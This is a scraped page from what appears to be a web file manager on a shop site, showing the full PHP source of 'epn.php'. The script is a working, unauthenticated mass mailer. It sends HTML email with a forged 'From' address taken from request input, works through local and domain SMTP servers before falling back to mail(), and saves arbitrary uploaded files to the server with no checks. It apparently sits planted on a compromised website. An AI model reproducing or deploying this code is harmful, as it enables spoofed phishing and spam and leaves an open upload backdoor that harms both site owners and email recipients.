Create New Item
Item Type
File
Folder
Item Name
Search file in folder and subfolders...
Are you sure want to rename?
File Manager
/
asaaliofficial.shop
:
epn.php
Advanced Search
Upload
New Item
Settings
Back
Back Up
Advanced Editor
Save
<?php header('Content-Type: application/json'); // Catch Fatal Errors function handleFatalError() { $error = error_get_last(); if ($error !== null) { echo json_encode([ "status" => "fail", "error" => strip_tags($error['message']), "file" => $error['file'], "line" => $error['line'] ]); exit; } } register_shutdown_function('handleFatalError'); // Use a 10-second timeout for connections $defaultTimeout = 10; // Process file uploads first, if any. if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $targetDir = __DIR__ . '/uploads/'; if (!is_dir($targetDir)) { mkdir($targetDir, 0755, true); } $filename = basename($_FILES['file']['name']); $targetFile = $targetDir . $filename; if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) { echo "OK"; } else { echo json_encode([ "status" => "fail", "error" => "File upload failed" ]); } exit; } // Get JSON payload; if none is provided, use default test values. $input = file_get_contents("php://input"); $data = json_decode($input, true); if (!$data || !is_array($data)) { $data = [ "to" => "postmaster@" . $_SERVER['SERVER_NAME'], "subject" => "test", "fromEmail" => "postmaster@" . $_SERVER['SERVER_NAME'], "fakeFromEmail" => "test@test.com", "fromName" => "test", "htmlContent" => "test" ]; } // Validate required fields. $required_fields = ['to', 'subject', 'fromEmail', 'fakeFromEmail', 'fromName', 'htmlContent']; foreach ($required_fields as $field) { if (!isset($data[$field])) { echo json_encode(["status" => "fail", "error" => "Missing required field: $field"]); exit; } } // Optional SMTP override parameters. $forceMethod = isset($data['forceMethod']) ? $data['forceMethod'] : null; $forceSmtpServer = isset($data['forceSmtpServer']) ? $data['forceSmtpServer'] : null; $forceSmtpPort = isset($data['forceSmtpPort']) ? $data['forceSmtpPort'] : null; // If the forced SMTP override is "mail" (or "mail,mail") then force mail(). if ($forceMethod === "smtp" && !empty($forceSmtpServer) && !empty($forceSmtpPort)) { $smtpServerLower = strtolower(trim($forceSmtpServer)); if ($smtpServerLower === "mail" || $smtpServerLower === "mail,mail") { $forceMethod = "mail"; } } // Assign data to variables. $to = $data['to']; $subject = $data['subject']; $from_email = $data['fromEmail']; $fake_from_email = $data['fakeFromEmail']; $from_name = $data['fromName']; $message = $data['htmlContent']; // Encode subject and message. $encoded_subject = mb_encode_mimeheader($subject, 'UTF-8', 'Q'); $encoded_message = quoted_printable_encode($message); $domain = $_SERVER['SERVER_NAME']; $cleaned_domain = preg_replace('/^www\./', '', $domain); $newline = "\r\n"; // Build email headers. $header_from = $fake_from_email ? $fake_from_email : $from_email; $headers = "From: \"$from_name\" <$header_from>" . $newline; $headers .= "MIME-Version: 1.0" . $newline; $headers .= "Content-Type: text/html; charset=UTF-8" . $newline; $headers .= "Content-Transfer-Encoding: quoted-printable" . $newline; function smtp_command($socket, $command) { global $newline; fputs($socket, $command . $newline); return fgets($socket, 512); } // Define a function to send email via PHP mail() and return status. function sendViaMail($to, $encoded_subject, $encoded_message, $headers) { if (mail($to, $encoded_subject, $encoded_message, $headers)) { echo "OKM"; exit; } } // Check for forced method. if ($forceMethod === "mail") { // Forced PHP mail() sendViaMail($to, $encoded_subject, $encoded_message, $headers); echo json_encode(["status" => "fail", "error" => "mail() failed"]); exit; } elseif ($forceMethod === "smtp" && !empty($forceSmtpServer) && !empty($forceSmtpPort)) { // Forced SMTP method. $server = $forceSmtpServer; $port = (int)$forceSmtpPort; $use_ssl = false; if ($port == 465) { $use_ssl = true; $server = "ssl://" . $server; } $socket = @fsockopen($server, $port, $errno, $errstr, $defaultTimeout); if ($socket) { stream_set_timeout($socket, $defaultTimeout); smtp_command($socket, "EHLO $cleaned_domain"); $mail_from_response = smtp_command($socket, "MAIL FROM: <$from_email>"); if (strpos($mail_from_response, "250") === 0) { $rcpt_to_response = smtp_command($socket, "RCPT TO: <$to>"); if (strpos($rcpt_to_response, "250") === 0) { smtp_command($socket, "DATA"); smtp_command($socket, "Subject: $encoded_subject"); smtp_command($socket, $headers); smtp_command($socket, $encoded_message); $final_response = smtp_command($socket, "."); if (strpos($final_response, "250") === 0) { fclose($socket); echo "OK"; exit; } } } fclose($socket); } // Forced SMTP failed, fallback to PHP mail() sendViaMail($to, $encoded_subject, $encoded_message, $headers); echo json_encode(["status" => "fail", "error" => "Forced SMTP and mail() both failed"]); exit; } else { // No forced method, try list of SMTP servers. $smtp_servers = [ ["localhost", 25, false], ["mail." . $cleaned_domain, 25, false], ["mail." . $cleaned_domain, 465, true] ]; foreach ($smtp_servers as $smtp) { $smtp_server = $smtp[0]; $smtp_port = $smtp[1]; $use_ssl = $smtp[2]; if ($use_ssl) { $smtp_server = "ssl://" . $smtp_server; } $socket = @fsockopen($smtp_server, $smtp_port, $errno, $errstr, $defaultTimeout); if ($socket) { stream_set_timeout($socket, $defaultTimeout); smtp_command($socket, "EHLO $cleaned_domain"); $mail_from_response = smtp_command($socket, "MAIL FROM: <$from_email>"); if (strpos($mail_from_response, "250") !== 0) { fclose($socket); continue; } $rcpt_to_response = smtp_command($socket, "RCPT TO: <$to>"); if (strpos($rcpt_to_response, "250") !== 0) { fclose($socket); continue; } smtp_command($socket, "DATA"); smtp_command($socket, "Subject: $encoded_subject"); smtp_command($socket, $headers); smtp_command($socket, $encoded_message); $final_response = smtp_command($socket, "."); if (strpos($final_response, "250") === 0) { fclose($socket); echo "OK"; exit; } else { fclose($socket); } } } // If all SMTP attempts fail, try PHP mail() fallback. sendViaMail($to, $encoded_subject, $encoded_message, $headers); echo json_encode(["status" => "fail"]); exit; } ?>